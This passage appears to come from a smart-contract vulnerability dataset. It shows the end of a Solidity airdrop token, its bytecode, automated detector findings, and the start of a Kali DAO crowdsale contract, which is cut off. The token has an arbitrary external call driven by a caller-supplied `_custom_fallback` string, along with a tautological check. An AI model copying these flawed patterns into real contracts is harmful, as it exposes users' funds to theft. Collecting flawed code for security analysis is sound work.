// Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals_; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply_; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) canTrans public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function changeOwner(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function changeIncrease(address[] addresses, uint256[] _amount) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { require(_amount[i] <= maxIncrease); increase[addresses[i]] = _amount[i]; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; return true; } function startDistribution() onlyOwner public returns (bool) { distributionFinished = false; return true; } function finishFreeGet() onlyOwner canDistr public returns (bool) { finishFreeGetToken = true; return true; } function finishEthGet() onlyOwner canDistr public returns (bool) { finishEthGetToken = true; return true; } function startFreeGet() onlyOwner canDistr public returns (bool) { finishFreeGetToken = false; return true; } function startEthGet() onlyOwner canDistr public returns (bool) { finishEthGetToken = false; return true; } function startTransfer() onlyOwner public returns (bool) { canTransfer = true; return true; } function stopTransfer() onlyOwner public returns (bool) { canTransfer = false; return true; } function changeBaseValue(uint256 _toGiveBase,uint256 _increaseBase,uint256 _etherGetBase,uint _maxIncrease) onlyOwner public returns (bool) { toGiveBase = _toGiveBase; increaseBase = _increaseBase; etherGetBase=_etherGetBase; maxIncrease=_maxIncrease; return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { require(totalRemaining >= 0); require(_amount<=totalRemaining); totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(address(0), _to, _amount); return true; } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint8 i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply_) { distributionFinished = true; } } } function () external payable { getTokens(); } function getTokens() payable canDistr onlyWhitelist public { if (toGiveBase > totalRemaining) { toGiveBase = totalRemaining; } address investor = msg.sender; uint256 etherValue=msg.value; uint256 value; if(etherValue>1e15){ require(finishEthGetToken==false); value=etherValue.mul(etherGetBase); value=value.add(toGiveBase); require(value <= totalRemaining); distr(investor, value); if(!owner.send(etherValue))revert(); }else{ require(finishFreeGetToken==false && toGiveBase <= totalRemaining && increase[investor]<=maxIncrease && now>=unlockUnixTime[investor]); value=value.add(increase[investor].mul(increaseBase)); value=value.add(toGiveBase); increase[investor]+=1; distr(investor, value); unlockUnixTime[investor]=now+1 days; } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) { require(_to != address(0) && _value > 0 && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && blacklist[_from] == false && blacklist[_to] == false); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){ ForeignToken t = ForeignToken(tokenAddress); uint256 bal = t.balanceOf(who); return bal; } function withdraw(address receiveAddress) onlyOwner public { uint256 etherBalance = this.balance; if(!receiveAddress.send(etherBalance))revert(); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x6060604052600436106102215763ffffffff60e060020a60003504166306fdde03811461022b578063095ea7b3146102b557806314ffbafc146102eb57806318160ddd146102fe5780631d3795e814610323578063227a79111461033657806323b872dd146103495780632e23062d14610371578063313ce5671461038457806342966c68146103ad578063502dadb0146103c357806351cff8d9146104125780635dfc34591461043157806370a0823114610444578063781c0db414610463578063829c34281461047657806382c6b2b6146104895780638da5cb5b1461049c57806395d89b41146104cb57806397b68b60146104de5780639b1cbccc146104f15780639c09c83514610504578063a6f9dae114610553578063a8c310d514610572578063a9059cbb14610601578063aa6ca80814610221578063b45be89b14610623578063bc2d10f114610636578063bcf6b3cd14610649578063be45fd6214610668578063c108d542146106cd578063c489744b146106e0578063cbbe974b14610705578063d1b6a51f14610724578063d4b8399214610737578063d83623dd1461074a578063d8a543601461075d578063dd62ed3e14610770578063df68c1a214610795578063e58fc54c146107a8578063e6b71e45146107c7578063e7f9e40814610856578063eab136a014610869578063efca2eed14610888578063f3e4877c1461089b578063f6368f8a146108ec578063f9f92be414610993575b6102296109b2565b005b341561023657600080fd5b61023e610bdd565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561027a578082015183820152602001610262565b50505050905090810190601f1680156102a75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102c057600080fd5b6102d7600160a060020a0360043516602435610c85565b604051901515815260200160405180910390f35b34156102f657600080fd5b6102d7610cf1565b341561030957600080fd5b610311610d2f565b60405190815260200160405180910390f35b341561032e57600080fd5b6102d7610d35565b341561034157600080fd5b610311610d72565b341561035457600080fd5b6102d7600160a060020a0360043581169060243516604435610d78565b341561037c57600080fd5b610311610f56565b341561038f57600080fd5b610397610f5c565b60405160ff909116815260200160405180910390f35b34156103b857600080fd5b610229600435610f65565b34156103ce57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061105195505050505050565b341561041d57600080fd5b610229600160a060020a03600435166110df565b341561043c57600080fd5b610311611132565b341561044f57600080fd5b610311600160a060020a0360043516611138565b341561046e57600080fd5b6102d7611153565b341561048157600080fd5b6102d7611194565b341561049457600080fd5b6103116111c4565b34156104a757600080fd5b6104af6111ca565b604051600160a060020a03909116815260200160405180910390f35b34156104d657600080fd5b61023e6111d9565b34156104e957600080fd5b6102d761124c565b34156104fc57600080fd5b6102d761125a565b341561050f57600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965061129a95505050505050565b341561055e57600080fd5b610229600160a060020a0360043516611324565b341561057d57600080fd5b61022960046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061137a95505050505050565b341561060c57600080fd5b6102d7600160a060020a0360043516602435611456565b341561062e57600080fd5b6103116114a6565b341561064157600080fd5b6102d76114ac565b341561065457600080fd5b6102d76004356024356044356064356114ef565b341561067357600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061152b95505050505050565b34156106d857600080fd5b6102d761156d565b34156106eb57600080fd5b610311600160a060020a0360043581169060243516611576565b341561071057600080fd5b610311600160a060020a03600435166115f3565b341561072f57600080fd5b6102d7611605565b341561074257600080fd5b6104af611614565b341561075557600080fd5b6102d7611623565b341561076857600080fd5b61031161164f565b341561077b57600080fd5b610311600160a060020a0360043581169060243516611655565b34156107a057600080fd5b6102d7611680565b34156107b357600080fd5b6102d7600160a060020a0360043516611689565b34156107d257600080fd5b6102296004602481358181019083013580602081810201604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437509496506117a695505050505050565b341561086157600080fd5b6102d7611860565b341561087457600080fd5b610311600160a060020a036004351661188c565b341561089357600080fd5b61031161189e565b34156108a657600080fd5b610229600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284375094965050933593506118a492505050565b34156108f757600080fd5b6102d760048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061193895505050505050565b341561099e57600080fd5b6102d7600160a060020a0360043516611bf2565b6013546000908190819060ff16156109c957600080fd5b600160a060020a03331660009081526003602052604090205460ff16156109ef57600080fd5b600f54600c541115610a0257600f54600c555b33925034915066038d7ea4c68000821115610aad5760135462010000900460ff1615610a2d57600080fd5b601254610a4190839063ffffffff611c0716565b9050610a58600c5482611c2b90919063ffffffff16565b600f54909150811115610a6a57600080fd5b610a748382611c3a565b50600054600160a060020a031682156108fc0283604051600060405180830381858888f193505050501515610aa857600080fd5b610bbf565b601354610100900460ff16158015610ac95750600f54600c5411155b8015610aef5750600654600160a060020a03841660009081526004602052604090205411155b8015610b135750600160a060020a0383166000908152600560205260409020544210155b1515610b1e57600080fd5b600d54600160a060020a038416600090815260046020526040902054610b5b91610b4e919063ffffffff611c0716565b829063ffffffff611c2b16565b9050610b72600c5482611c2b90919063ffffffff16565b600160a060020a0384166000908152600460205260409020805460010190559050610b9d8382611c3a565b50600160a060020a038316600090815260056020526040902062015180420190555b600b5460105410610bd8576013805460ff191660011790555b505050565b610be56120ec565b60088054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b820191906000526020600020905b815481529060010190602001808311610c5e57829003601f168201915b5050505050905090565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b6000805433600160a060020a03908116911614610d0d57600080fd5b60135460ff1615610d1d57600080fd5b506013805462ff000019169055600190565b600b5490565b6000805433600160a060020a03908116911614610d5157600080fd5b60135460ff1615610d6157600080fd5b506013805461ff0019169055600190565b60125481565b60115460009060ff161515600114610d8f57600080fd5b600160a060020a03831615801590610da75750600082115b8015610dcc5750600160a060020a038416600090815260016020526040902054829010155b8015610dff5750600160a060020a0380851660009081526002602090815260408083203390941683529290522054829010155b8015610e245750600160a060020a03841660009081526003602052604090205460ff16155b8015610e495750600160a060020a03831660009081526003602052604090205460ff16155b1515610e5457600080fd5b600160a060020a038416600090815260016020526040902054610e7d908363ffffffff611d0b16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610eb2908363ffffffff611c2b16565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610efa908363ffffffff611d0b16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516916000805160206121168339815191529085905190815260200160405180910390a35060015b9392505050565b600d5481565b600a5460ff1690565b6000805433600160a060020a03908116911614610f8157600080fd5b600160a060020a033316600090815260016020526040902054821115610fa657600080fd5b5033600160a060020a038116600090815260016020526040902054610fcb9083611d0b565b600160a060020a038216600090815260016020526040902055600b54610ff7908363ffffffff611d0b16565b600b5560105461100d908363ffffffff611d0b16565b601055600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a25050565b6000805433600160a060020a0390811691161461106d57600080fd5b60ff8251111561107c57600080fd5b5060005b81518160ff1610156110db57600160036000848460ff16815181106110a157fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff1916911515919091179055600101611080565b5050565b6000805433600160a060020a039081169116146110fb57600080fd5b50600160a060020a033081163190821681156108fc0282604051600060405180830381858888f1935050505015156110db57600080fd5b60065481565b600160a060020a031660009081526001602052604090205490565b6000805433600160a060020a0390811691161461116f57600080fd5b60135460ff161561117f57600080fd5b506013805461ff001916610100179055600190565b6000805433600160a060020a039081169116146111b057600080fd5b506011805460ff1916600190811790915590565b600e5481565b600054600160a060020a031681565b6111e16120ec565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c7b5780601f10610c5057610100808354040283529160200191610c7b565b601354610100900460ff1681565b6000805433600160a060020a0390811691161461127657600080fd5b60135460ff161561128657600080fd5b506013805460ff1916600190811790915590565b6000805433600160a060020a039081169116146112b657600080fd5b60ff825111156112c557600080fd5b5060005b81518160ff1610156110db57600060036000848460ff16815181106112ea57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790556001016112c9565b60005433600160a060020a0390811691161461133f57600080fd5b600160a060020a03811615611377576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b6000805433600160a060020a0390811691161461139657600080fd5b60135460ff16156113a657600080fd5b60ff835111156113b557600080fd5b81518351146113c357600080fd5b5060005b82518160ff161015610bd857600f54828260ff16815181106113e557fe5b9060200190602002015111156113fa57600080fd5b611434838260ff168151811061140c57fe5b90602001906020020151838360ff168151811061142557fe5b90602001906020020151611c3a565b50600b546010541061144e576013805460ff191660011790555b6001016113c7565b60006114606120ec565b60115460ff16151560011461147457600080fd5b61147d84611d1d565b156114945761148d848483611d25565b915061149f565b61148d848483611f78565b5092915050565b600c5481565b6000805433600160a060020a039081169116146114c857600080fd5b60135460ff16156114d857600080fd5b506013805462ff0000191662010000179055600190565b6000805433600160a060020a0390811691161461150b57600080fd5b50600c849055600d8390556012829055600681905560015b949350505050565b60115460009060ff16151560011461154257600080fd5b61154b84611d1d565b156115625761155b848484611d25565b9050610f4f565b61155b848484611f78565b60135460ff1681565b60008281600160a060020a0382166370a0823185836040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156115d057600080fd5b6102c65a03f115156115e157600080fd5b50505060405180519695505050505050565b60056020526000908152604090205481565b60135462010000900460ff1681565b600754600160a060020a031681565b6000805433600160a060020a0390811691161461163f57600080fd5b506013805460ff19169055600190565b600f5481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60115460ff1681565b600080548190819033600160a060020a039081169116146116a957600080fd5b83915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561170357600080fd5b6102c65a03f1151561171457600080fd5b505050604051805160008054919350600160a060020a03808616935063a9059cbb92169084906040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561178457600080fd5b6102c65a03f1151561179557600080fd5b505050604051805195945050505050565b6000805433600160a060020a039081169116146117c257600080fd5b60ff835111156117d157600080fd5b5060005b82518160ff161015610bd857600654828260ff16815181106117f357fe5b90602001906020020151111561180857600080fd5b818160ff168151811061181757fe5b9060200190602002015160046000858460ff168151811061183457fe5b90602001906020020151600160a060020a031681526020810191909152604001600020556001016117d5565b6000805433600160a060020a0390811691161461187c57600080fd5b506011805460ff19169055600190565b60046020526000908152604090205481565b60105481565b6000805433600160a060020a039081169116146118c057600080fd5b60135460ff16156118d057600080fd5b60ff835111156118df57600080fd5b600f548211156118ee57600080fd5b5060005b82518160ff161015610bbf57600f5482111561190d57600080fd5b61192f838260ff168151811061191f57fe5b9060200190602002015183611c3a565b506001016118f2565b60115460009060ff16151560011461194f57600080fd5b61195885611d1d565b15611be0578361196733611138565b101561197257600080fd5b600160a060020a03331660009081526001602052604090205461199b908563ffffffff611d0b16565b600160a060020a0333811660009081526001602052604080822093909355908716815220546119d0908563ffffffff611c2b16565b600160a060020a0386166000818152600160205260408082209390935590918490518082805190602001908083835b60208310611a1e5780518252601f1990920191602091820191016119ff565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611aaf578082015183820152602001611a97565b50505050905090810190601f168015611adc5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515611b0057fe5b826040518082805190602001908083835b60208310611b305780518252601f199092019160209182019101611b11565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001611523565b611beb858585611f78565b9050611523565b60036020526000908152604090205460ff1681565b6000828202831580611c235750828482811515611c2057fe5b04145b1515610f4f57fe5b600082820183811015610f4f57fe5b60135460009060ff1615611c4d57600080fd5b600f546000901015611c5e57600080fd5b600f54821115611c6d57600080fd5b601054611c80908363ffffffff611c2b16565b601055600f54611c96908363ffffffff611d0b16565b600f55600160a060020a038316600090815260016020526040902054611cc2908363ffffffff611c2b16565b600160a060020a0384166000818152600160205260408082209390935590916000805160206121168339815191529085905190815260200160405180910390a350600192915050565b600082821115611d1757fe5b50900390565b6000903b1190565b60008083611d3233611138565b1015611d3d57600080fd5b600160a060020a033316600090815260016020526040902054611d66908563ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590871681522054611d9b908563ffffffff611c2b16565b600160a060020a03861660008181526001602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e34578082015183820152602001611e1c565b50505050905090810190601f168015611e615780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611e8157600080fd5b6102c65a03f11515611e9257600080fd5b505050826040518082805190602001908083835b60208310611ec55780518252601f199092019160209182019101611ea6565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902085600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168760405190815260200160405180910390a484600160a060020a031633600160a060020a03166000805160206121168339815191528660405190815260200160405180910390a3506001949350505050565b600082611f8433611138565b1015611f8f57600080fd5b600160a060020a033316600090815260016020526040902054611fb8908463ffffffff611d0b16565b600160a060020a033381166000908152600160205260408082209390935590861681522054611fed908463ffffffff611c2b16565b600160a060020a03851660009081526001602052604090819020919091558290518082805190602001908083835b6020831061203a5780518252601f19909201916020918201910161201b565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c168660405190815260200160405180910390a483600160a060020a031633600160a060020a03166000805160206121168339815191528560405190815260200160405180910390a35060019392505050565b60206040519081016040526000815290565b600080828481151561210c57fe5b049493505050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820f718ded1b197adebb30460d0880b86f71198d1373cc34c8581753c252369fcec0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,440
0xb677fa3dd5c2c0472f7520b48aa3f642f9c4af11
// SPDX-License-Identifier: AGPL-3.0-only pragma solidity >=0.8.4; /// @notice Safe ETH and ERC-20 transfer library that gracefully handles missing return values /// @author Modified from Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/SafeTransferLib.sol) /// License-Identifier: AGPL-3.0-only library SafeTransferLib { /// ----------------------------------------------------------------------- /// Errors /// ----------------------------------------------------------------------- error ETHtransferFailed(); error TransferFailed(); error TransferFromFailed(); /// ----------------------------------------------------------------------- /// ETH Logic /// ----------------------------------------------------------------------- function _safeTransferETH(address to, uint256 amount) internal { bool success; assembly { // transfer the ETH and store if it succeeded or not success := call(gas(), to, amount, 0, 0, 0, 0) } if (!success) revert ETHtransferFailed(); } /// ----------------------------------------------------------------------- /// ERC-20 Logic /// ----------------------------------------------------------------------- function _safeTransfer( address token, address to, uint256 amount ) internal { bool success; assembly { // get a pointer to some free memory let freeMemoryPointer := mload(0x40) // write the abi-encoded calldata into memory, beginning with the function selector mstore(freeMemoryPointer, 0xa9059cbb00000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), to) // append the 'to' argument mstore(add(freeMemoryPointer, 36), amount) // append the 'amount' argument success := and( // set success to whether the call reverted, if not we check it either // returned exactly 1 (can't just be non-zero data), or had no return data or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // we use 68 because the length of our calldata totals up like so: 4 + 32 * 2 // we use 0 and 32 to copy up to 32 bytes of return data into the scratch space // counterintuitively, this call must be positioned second to the or() call in the // surrounding and() call or else returndatasize() will be zero during the computation call(gas(), token, 0, freeMemoryPointer, 68, 0, 32) ) } if (!success) revert TransferFailed(); } function _safeTransferFrom( address token, address from, address to, uint256 amount ) internal { bool success; assembly { // get a pointer to some free memory let freeMemoryPointer := mload(0x40) // write the abi-encoded calldata into memory, beginning with the function selector mstore(freeMemoryPointer, 0x23b872dd00000000000000000000000000000000000000000000000000000000) mstore(add(freeMemoryPointer, 4), from) // append the 'from' argument mstore(add(freeMemoryPointer, 36), to) // append the 'to' argument mstore(add(freeMemoryPointer, 68), amount) // append the 'amount' argument success := and( // set success to whether the call reverted, if not we check it either // returned exactly 1 (can't just be non-zero data), or had no return data or(and(eq(mload(0), 1), gt(returndatasize(), 31)), iszero(returndatasize())), // we use 100 because the length of our calldata totals up like so: 4 + 32 * 3 // we use 0 and 32 to copy up to 32 bytes of return data into the scratch space // counterintuitively, this call must be positioned second to the or() call in the // surrounding and() call or else returndatasize() will be zero during the computation call(gas(), token, 0, freeMemoryPointer, 100, 0, 32) ) } if (!success) revert TransferFromFailed(); } } /// @notice Kali DAO access manager interface interface IKaliAccessManager { function balanceOf(address account, uint256 id) external returns (uint256); function joinList( address account, uint256 id, bytes32[] calldata merkleProof ) external payable; } /// @notice Kali DAO share manager interface interface IKaliShareManager { function mintShares(address to, uint256 amount) external payable; function burnShares(address from, uint256 amount) external payable; } /// @notice EIP-2612 interface interface IERC20Permit { function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; } /// @notice Single owner access control contract abstract contract KaliOwnable { event OwnershipTransferred(address indexed from, address indexed to); event ClaimTransferred(address indexed from, address indexed to); error NotOwner(); error NotPendingOwner(); address public owner; address public pendingOwner; modifier onlyOwner() { if (msg.sender != owner) revert NotOwner(); _; } function _init(address owner_) internal { owner = owner_; emit OwnershipTransferred(address(0), owner_); } function claimOwner() external payable { if (msg.sender != pendingOwner) revert NotPendingOwner(); emit OwnershipTransferred(owner, msg.sender); owner = msg.sender; delete pendingOwner; } function transferOwner(address to, bool direct) external payable onlyOwner { if (direct) { owner = to; emit OwnershipTransferred(msg.sender, to); } else { pendingOwner = to; emit ClaimTransferred(msg.sender, to); } } } /// @notice Helper utility that enables calling multiple local methods in a single call /// @author Modified from Uniswap (https://github.com/Uniswap/v3-periphery/blob/main/contracts/base/Multicall.sol) /// License-Identifier: GPL-2.0-or-later abstract contract Multicall { function multicall(bytes[] calldata data) external returns (bytes[] memory results) { results = new bytes[](data.length); for (uint256 i; i < data.length; ) { (bool success, bytes memory result) = address(this).delegatecall(data[i]); if (!success) { if (result.length < 68) revert(); assembly { result := add(result, 0x04) } revert(abi.decode(result, (string))); } results[i] = result; // cannot realistically overflow on human timescales unchecked { ++i; } } } } /// @notice Gas optimized reentrancy protection for smart contracts /// @author Modified from Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/ReentrancyGuard.sol) /// License-Identifier: AGPL-3.0-only abstract contract ReentrancyGuard { error Reentrancy(); uint256 private locked = 1; modifier nonReentrant() { if (locked != 1) revert Reentrancy(); locked = 2; _; locked = 1; } } /// @notice Crowdsale contract that receives ETH or ERC-20 to mint registered DAO tokens, including merkle access lists contract KaliDAOcrowdsale is KaliOwnable, Multicall, ReentrancyGuard { /// ----------------------------------------------------------------------- /// Library Usage /// ----------------------------------------------------------------------- using SafeTransferLib for address; /// ----------------------------------------------------------------------- /// Events /// ----------------------------------------------------------------------- event ExtensionSet( address indexed dao, uint256 listId, uint8 purchaseMultiplier, address purchaseAsset, uint32 saleEnds, uint96 purchaseLimit, uint96 personalLimit, string details ); event ExtensionCalled(address indexed dao, address indexed purchaser, uint256 amountOut); event KaliRateSet(uint8 kaliRate); /// ----------------------------------------------------------------------- /// Errors /// ----------------------------------------------------------------------- error NullMultiplier(); error SaleEnded(); error NotListed(); error PurchaseLimit(); error PersonalLimit(); error RateLimit(); /// ----------------------------------------------------------------------- /// Sale Storage /// ----------------------------------------------------------------------- uint8 private kaliRate; IKaliAccessManager private immutable accessManager; address private immutable wETH; mapping(address => Crowdsale) public crowdsales; struct Crowdsale { uint256 listId; uint8 purchaseMultiplier; address purchaseAsset; uint32 saleEnds; uint96 purchaseLimit; uint96 personalLimit; uint256 purchaseTotal; string details; mapping(address => uint256) personalPurchased; } function checkPersonalPurchased(address account, address dao) external view returns (uint256) { return crowdsales[dao].personalPurchased[account]; } /// ----------------------------------------------------------------------- /// Constructor /// ----------------------------------------------------------------------- constructor(IKaliAccessManager accessManager_, address wETH_) { accessManager = accessManager_; KaliOwnable._init(msg.sender); wETH = wETH_; } /// ----------------------------------------------------------------------- /// Multicall Utilities /// ----------------------------------------------------------------------- function joinList(uint256 id, bytes32[] calldata merkleProof) external payable { accessManager.joinList( msg.sender, id, merkleProof ); } function setPermit( IERC20Permit token, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external payable { token.permit( msg.sender, address(this), value, deadline, v, r, s ); } /// ----------------------------------------------------------------------- /// Sale Settings /// ----------------------------------------------------------------------- function setExtension(bytes calldata extensionData) external payable { ( uint256 listId, uint8 purchaseMultiplier, address purchaseAsset, uint32 saleEnds, uint96 purchaseLimit, uint96 personalLimit, string memory details ) = abi.decode(extensionData, (uint256, uint8, address, uint32, uint96, uint96, string)); if (purchaseMultiplier == 0) revert NullMultiplier(); // caller is stored as `dao` target for sale Crowdsale storage sale = crowdsales[msg.sender]; // we use this format as we have nested mapping sale.listId = listId; sale.purchaseMultiplier = purchaseMultiplier; sale.purchaseAsset = purchaseAsset; sale.saleEnds = saleEnds; sale.purchaseLimit = purchaseLimit; sale.personalLimit = personalLimit; sale.details = details; emit ExtensionSet(msg.sender, listId, purchaseMultiplier, purchaseAsset, saleEnds, purchaseLimit, personalLimit, details); } /// ----------------------------------------------------------------------- /// Sale Logic /// ----------------------------------------------------------------------- function callExtension(address dao, uint256 amount) external payable nonReentrant returns (uint256 amountOut) { Crowdsale storage sale = crowdsales[dao]; if (block.timestamp > sale.saleEnds) revert SaleEnded(); if (sale.listId != 0) if (accessManager.balanceOf(msg.sender, sale.listId) == 0) revert NotListed(); uint256 total; uint256 payment; if (sale.purchaseAsset == address(0) || sale.purchaseAsset == address(0xDead)) { total = msg.value; } else { total = amount; } if (kaliRate != 0) { uint256 fee = (total * kaliRate) / 100; // cannot underflow since fee will be less than total unchecked { payment = total - fee; } } else { payment = total; } amountOut = total * sale.purchaseMultiplier; if (sale.purchaseTotal + amountOut > sale.purchaseLimit) revert PurchaseLimit(); if (sale.personalPurchased[msg.sender] + amountOut > sale.personalLimit) revert PersonalLimit(); if (sale.purchaseAsset == address(0)) { // send ETH to DAO dao._safeTransferETH(payment); } else if (sale.purchaseAsset == address(0xDead)) { // send ETH to wETH wETH._safeTransferETH(payment); // send wETH to DAO wETH._safeTransfer(dao, payment); } else { // send tokens to DAO sale.purchaseAsset._safeTransferFrom(msg.sender, dao, payment); } sale.purchaseTotal += amountOut; 